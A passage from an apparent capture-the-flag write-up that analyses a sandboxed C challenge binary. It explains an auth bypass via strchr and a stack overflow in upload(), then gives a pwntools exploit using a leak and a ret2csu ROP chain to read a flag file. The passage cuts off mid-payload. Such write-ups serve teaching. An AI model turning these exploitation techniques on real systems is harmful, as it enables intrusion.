<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">delet</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="n">get_game_number</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">number</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="p">{</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">]);</span>
<span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">upload</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Input your size:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="n">puts</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">menu</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"1. Create game"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"2. Print game</span><span class="se">\n</span><span class="s">3. Delete game"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"4. Upload file</span><span class="se">\n</span><span class="s">5. Test RNG"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"6. Exit</span><span class="se">\n</span><span class="s">Your choice:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="k">return</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">try_rng</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">number</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>
<span class="kt">int</span> <span class="n">r</span> <span class="o">=</span> <span class="n">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">100</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Type your guess:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">number</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">number</span> <span class="o">==</span> <span class="n">r</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Hooray! You're real lucky boy"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Nah. The correct one is %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">r</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">finish</span><span class="p">()</span> <span class="p">{</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">setup</span><span class="p">();</span>
<span class="n">sandbox</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">auth</span><span class="p">())</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">menu</span><span class="p">())</span> <span class="p">{</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">create</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">print</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">delet</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">upload</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
<span class="n">try_rng</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">6</span><span class="p">:</span>
<span class="n">finish</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">};</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>First of all, the binary will ask us for a <code class="highlighter-rouge">username and password</code>, since we dont know anything of it, lets analyze the respective function.
From now, to analyze everything, I’ll add comments to the respective <code class="highlighter-rouge">ASM | source code</code>, and start from there to generate conclusions.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">auth</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">login</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">user_login</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">user_password</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"auth.txt"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
<span class="cm">/*
* Important: In buf we'll have the respective auth credentials which are 5 and 6 bytes long respectively.
* On the last for loops, there's and important bug, since the only thing that the code is doing is to iterate over our creds and calling strchr() for each character.
* what strchr() does is the following: return a pointer to the respective first ocurrence of the word if not, return NULL.
* Since its called for each one of our creds, we just need to know (or guess) one character that is inside of the correct credentials.
* turnsout, 'a' is contained in username and the respective password.
*/</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">login</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">)</span><span class="o">-</span><span class="n">buf</span><span class="p">);</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'\n'</span><span class="p">)</span><span class="o">-</span><span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Login:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">user_login</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Password:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">user_password</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strchr</span><span class="p">(</span><span class="n">login</span><span class="p">,</span> <span class="n">user_login</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">6</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strchr</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">user_password</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>From here, we’re in…</p>
<p>We have an array of pointers in the bss, which is saving pointers to <code class="highlighter-rouge">heap chunks</code>, but no <code class="highlighter-rouge">heap overflow</code> or <code class="highlighter-rouge">UAF</code> here (the respective pointers are set to NULL after <code class="highlighter-rouge">free()</code>).<br />
One important thing, is a basic <code class="highlighter-rouge">buffer overflow</code> on the <code class="highlighter-rouge">upload()</code> function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">upload</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Input your size:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="cm">/*
* The important thing here is that we're ask for the size, and the buffer is just `16 bytes` long, so, by writing 24+ bytes of data, we successfully can make a `bof`.
*/</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="n">puts</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Note that we cant just call <code class="highlighter-rouge">one_gadgets | execve | arbitrary syscall</code>, since we’re <code class="highlighter-rouge">"sandboxed with seccomp"</code>, so, we’re gonna leak the flag with just the <code class="highlighter-rouge">white listed syscalls</code>.</p>
<h1 id="exploit">Exploit</h1>
<h2 id="how-">how ?</h2>
<ul>
<li>First, everything that we’re gonna do is centered on this last function.</li>
<li>Since is a <code class="highlighter-rouge">PIE binary</code>, we first need a <code class="highlighter-rouge">leak</code> in order to calculate the <code class="highlighter-rouge">base of the binary</code>.</li>
<li>This last functions comes handy, we can write <code class="highlighter-rouge">n-bytes</code> just before the <code class="highlighter-rouge">return value</code>, if we do this just before the return address, puts will write the entire buffer, which will have no nullbyte in between the <code class="highlighter-rouge">buffer and the return address</code>, allowing us to leak the <code class="highlighter-rouge">ret value</code>.</li>
<li>Second, since we need to control the <code class="highlighter-rouge">third register (rdx) </code> to use the <code class="highlighter-rouge">read syscall</code>, we’re gonna need to do a <a href="https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf"><code class="highlighter-rouge">ret2csu</code> attack</a>.</li>
<li>We have an infinite <code class="highlighter-rouge">buffer</code>, so we can make everything with just one <code class="highlighter-rouge">ROP chain</code> (after the respective leak) that will do the following.</li>
<li>read the <code class="highlighter-rouge">/tmp/flag.txt</code> string into the bss.</li>
<li>open the <code class="highlighter-rouge">/tmp/flag.txt</code> using the bss string.</li>
<li>read the open file into the bss.</li>
<li>puts the <code class="highlighter-rouge">bss string</code> that will contain our flag.</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ret2csu -> <span class="nb">read</span><span class="o">(</span>fd <span class="o">=</span> 0, bss, len<span class="o">(</span><span class="s2">"/tmp/flag.txt"</span><span class="o">)</span> <span class="o">)</span> -> fd <span class="o">=</span> open<span class="o">(</span>bss<span class="o">)</span> -> <span class="nb">read</span><span class="o">(</span>fd, bss, 0x20<span class="o">)</span> -> puts<span class="o">(</span>bss<span class="o">)</span>
</code></pre></div></div>
<p>With this being said, the exploit will become something like this (I’ll comment every part of the code, if this format is not friendly for a writeup, please, ping me up).</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'new-window'</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./app"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc.so.6"</span><span class="p">})</span> <span class="c1">## Start the new process
</span> <span class="n">gdb_command</span> <span class="o">=</span> <span class="s">'''b * main
b * auth+358
b * upload+104
b * __libc_csu_init+82'''</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="c1">## The command that will run gdb at startup
</span> <span class="n">attach_command</span> <span class="o">=</span> <span class="s">"tmux new-window gdb {} {} "</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">p_name</span><span class="p">,</span><span class="n">p</span><span class="o">.</span><span class="n">pid</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">gdb_command</span><span class="p">:</span>
<span class="n">attach_command</span> <span class="o">+=</span> <span class="s">'''--eval-command="{}" '''</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Starting a new gdb session with the following command: {}"</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">attach_command</span><span class="p">))</span>
<span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">attach_command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"tasks.sprush.rocks"</span><span class="p">,</span><span class="mi">20002</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">make_auth</span><span class="p">():</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">6</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">6</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">"Your choice:"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">upload_bof</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span><span class="n">n</span> <span class="o">=</span> <span class="bp">True</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'4'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">"size:"</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'AAAA'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">if</span> <span class="n">n</span> <span class="p">:</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"choice:"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="c1"># First, for the login function, the only thing that the program does is to search for a occurence of one character
# By knowing one character in username and password we're in
</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Send the auth payload ?"</span><span class="p">)</span>
<span class="n">make_auth</span><span class="p">()</span>
<span class="c1"># Now we have a classic bof on the upload function with offset: 24
# With 24 of bof, we can get the leak of the return value of the function
# By not writing the nullbyte on our string "main+140"
</span>
<span class="n">leak_main_140</span> <span class="o">=</span> <span class="n">upload_bof</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span> <span class="n">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">24</span><span class="p">)</span>
<span class="n">leak_main_140</span> <span class="o">=</span> <span class="n">leak_main_140</span><span class="o">.</span><span class="n">strip</span><span class="p">()[</span><span class="mi">20</span><span class="p">:]</span>
<span class="n">leak_main_140</span> <span class="o">=</span> <span class="n">leak_main_140</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
<span class="n">leak_main_140</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak_main_140</span><span class="p">)</span>
<span class="n">binary_base</span> <span class="o">=</span> <span class="n">leak_main_140</span> <span class="o">-</span> <span class="mh">0x19fd</span>
<span class="n">bss</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x0000000000004000</span> <span class="o">+</span> <span class="mh">0x90</span>
<span class="n">plt_read</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x10c0</span>
<span class="n">got_read</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x3f90</span>
<span class="n">got_puts</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x3f68</span>
<span class="n">plt_puts</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x1070</span>
<span class="n">plt_open</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x1110</span>
<span class="n">csu_first</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x1a72</span>
<span class="s">'''
0x000055bfa1e97a72 <+82>: pop rbx
0x000055bfa1e97a73 <+83>: pop rbp
0x000055bfa1e97a74 <+84>: pop r12
0x000055bfa1e97a76 <+86>: pop r13
0x000055bfa1e97a78 <+88>: pop r14
0x000055bfa1e97a7a <+90>: pop r15
0x000055bfa1e97a7c <+92>: ret
'''</span>
<span class="n">csu_second</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x1a58</span>
<span class="s">'''
0x000055bfa1e97a58 <+56>: mov rdx,r15
0x000055bfa1e97a5b <+59>: mov rsi,r14
0x000055bfa1e97a5e <+62>: mov edi,r13d
0x000055bfa1e97a61 <+65>: call QWORD PTR [r12+rbx*8]
'''</span>
<span class="n">rdi</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x0000000000001a7b</span> <span class="c1"># pop rdi; ret
</span><span class="n">rsi</span> <span class="o">=</span> <span class="n">binary_base</span> <span class="o">+</span> <span class="mh">0x0000000000001a79</span> <span class="c1"># 0x0000000000001a79: pop rsi; pop r15; ret;
</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Leak of main+140: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak_main_140</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Binary base: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">binary_base</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"bss start: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">bss</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"read@@PLT: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">plt_read</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"puts@@GOT: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">got_puts</span><span class="p">))</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"puts@@PLT: </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">plt_puts</span><span class="p">))</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Do the second overflow ? "</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">b</span><span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mi">24</span> <span class="c1"># Padding
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">csu_first</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># call QWORD PTR [r12+rbx*8]
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x01</span><span class="p">)</span> <span class="c1"># set rbp to 0x1 in order to pass the cmp instruction and reach the ret value
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">got_read</span><span class="p">)</span> <span class="c1"># since the jump dereference the address, we need to place the GOT, since the address is already resolved, which means that the read@@GOT will have the address of the function on libc.
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># rdi register
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bss</span> <span class="p">)</span> <span class="c1"># rsi register
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span> <span class="c1"># rdx register
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">csu_second</span><span class="p">)</span> <span class="c1"># Second part of the ret2csu chain
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># just some padding to reach the respective ret (we need to pass over every pop instruction that come after the cmp)
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">b</span><span class="s">'AAAABBBB'</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span> <span class="c1"># Here's the part that will be in charge of open the respective file
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bss</span><span class="p">)</span> <span class="c1"># bss address where we have the /tmp/flag.txt string
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># rsi for the respective open flags
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># dummy r15
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">plt_open</span><span class="p">)</span> <span class="c1"># call open
# Now, we have the filedescriptor of the open file on rax, which must be 0x4
# In order to read it, we need another ret2csu, lol
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">csu_first</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># call QWORD PTR [r12+rbx*8]
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x01</span><span class="p">)</span> <span class="c1"># same as above, set rbp to 0x1 in order to pass the cmp instruction and reach the ret value
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">got_read</span><span class="p">)</span> <span class="c1"># r12 to the jump ( read@@GOT )
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x04</span><span class="p">)</span> <span class="c1"># to rdi, te respective file descriptor
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bss</span><span class="p">)</span> <span class="c1"># rsi value, where we gona write
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x30</span><span class="p">)</span> <span class="c1"># rdx : amount of bytes to read from the fd
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">csu_second</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span> <span class="c1"># just some padding to reach the respective ret
